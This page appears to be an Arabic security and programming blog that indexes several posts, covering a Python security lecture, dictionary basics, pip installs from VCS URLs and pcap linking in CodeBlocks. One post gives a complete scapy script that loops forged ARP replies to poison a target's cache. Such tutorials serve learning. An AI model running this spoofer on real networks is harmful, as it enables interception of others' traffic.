Writing Basic Security Tools using Python

السلام عليكم ورحمة الله وبركاته

مضت فترة طويلة من الزمن لم أكتب فيها أي شيء هنا، واليوم تذكرت بعد حديثي مع أحد الأخوة الأعزاء موضوع نشر المحاضرة التي عملتها فيما يخص إستعمال لغة البرمجة Python للمجالات الأمنية. أعلم بإنها لربما ليست أفضل محاظرة حول الموضوع، وربما فاتني الكثير ولكن هذا ما أستطعت تغطيته في ثلاث ساعات تقريباً (أحيانا أخذت أكثر من ذلك بقليل). المحاضرة الحالية تم التعديل على ما كنت أقوم به سابقاً، بعد أن أطلعت على محاضرة ألقاها في مؤتمر BSides، عام 2012 تحت عنوان: Overview of Python – Bsides Detroit 2012

Thank you Keith for sharing your work which was the inspiration of mine.

Continue reading

سكربت بسيط لعمل ARP Spoofing

سكربت بسيط لعمل ARP Spoofing … قم بنسخ الكود وتشغيله او تحميله من صفحة المشاريع (هنا) …

#!/usr/bin/env python
import sys, time
from scapy.all import sendp, ARP, Ether

if len (sys.argv) < 4:
	print "Usage\n:"
	print sys.argv[0] + "   "
	print "./arpSpoofer.py eth0 192.168.1.56 192.168.1.100"	
	sys.exit (1)

networkInterface = str(sys.argv[1])
targetIPAddr = sys.argv[2]
spoofedIPAddr = sys.argv[3]

# Assembling the Spoofed Packet
spoofedPacket = Ether() / ARP(pdst=targetIPAddr, psrc=spoofedIPAddr, op="is-at")

# Start Spoofing (aka Poisoning) :)
while True:
	sendp(spoofedPacket, iface=networkInterface)
	time.sleep (1)

المزيد من التجارب في الطريق إن شاء الله :)

التعامل مع Dictionary في لغة Python

لا اعلم لماذا أنسى طريقة إستعمال الـ Dictionary في لغة Python … كل فترة وآخرى أقوم ببعض الأشياء الخاطئة … نعم أنا لست مبرمج حالياً، وكذلك لا استعمل اللغة كثيراً وإنما حسب الحاجة، لكن أعتقد إني سأقوم بتدوين كل ما يخص هذه اللغة من باب أن أحاول الحفظ لهذه الأمور، وكذلك لكي يصبح مرجع لي عند الحاجة … طبعاً ومرجع لجميع زوار الموقع ولأني أنوي ترك مثل هذه التدوينات بالتحديد مفتوحة للجميع للمشاركة، وكذلك لكي نتعلم من بعضنا الآخر … على بركة الله …

لعمل Dictionary في لغة Python، كل ما علينا حفظه هو القاعدة التالية:

mydict = {'key':'value'}

حيث mydict هو المتغيير الذي سيكون نوعه Dictionary وkey هو المفتاح لقيمة معينة بداخل هذا الفهرس، وبدون شك value هي القيمة لذلك المفتاح … لنأخذ أمثلة الآن:

لعمل Dictionary او فهرس فارغ:

>>> mydict = {}

أو يمكننا إستعمال النوع أو الشيء (لست متأكد عربياً ماذا يسمى الـ Object ولهذا أتمنى فهمه كما هو حالياً) dict لعمل واحد، كما في الأسفل:

>>> mydict = dict()

Continue reading

Installing Python Packages from a URL using PIP

بعض الأحيان لربما تحتاج الى تنصيب مكتبة من مكتبات Python ولكن ليست موجودة في PyPI أو إن الموجود هناك في المكتبة لا يعمل أو قديم لم يتم تحديثه الى آخره من الأسباب … كل ما عليك فعله هو أن تحدد نوع الـ version control system الذي تستعمله تلك المكتبة … مثلاً مكتبة Scapy تستعمل Mercurial ولهذا لتنصيب مكتبة Scapy بواسطة pip يمكنك عمل التالي:

pip install hg+http://hg.secdev.org/scapy

ملاحظة: إذا ظهر لك خطأ بإنه لا يستطيع التعرف على الخيار hg؟ فكل ما عليك فعله هو تنصيب Mercurial

في حالة كنت تقوم بالتنصيب من Version Control مثل GIT أو SVN أو Bazaar فكل ما عليك فعله هو إستعمال المتغييرات المناسبة وهي كالتالي:

svn+URL, git+URL, hg+URL or bzr+URL

وأظن واضحة كل واحدة تعني ماذا … وقبل أن أنسى: عليكم بالـ virtualenv :)

للنقاش

Compiling a Network Program using Pcap Library in CodeBlocks

في حالة قيامك بعمل Compile لبرنامج يستعمل pcap في CodeBlocks فإنه سوف يعطيك خطأ وذلك لأنه لن يستطيع التعرف على المتغييرات والدوال الموجودة في مكتبة pcap بشكل أساسي، ولهذا علينا إضافة المكتبة لعملية الـ Compile … حتى لو كنت قد أضفت سطر الـ include لهذه المكتبة، بدون إخبار CodeBlocks ببناء هذا البرنامج بوجود هذه المكتبة لن ينفع …

أنتهينا من الكلام، لنبدأ العمل … أول شيء نعمله هو إننا نريد أن نضيف المكتبة pcap الى الـ Linker وذلك ليتم ربطها مع البرنامج لحظة عمل Compile له … ويمكن عمل ذلك من خلال الضغط على إسم المشروع في CodeBlocks Workspace ومن ثم الذهاب الى Build Options … كما في الصورة:

Continue reading

Pages: 1 2 3 4 5 6 7 Next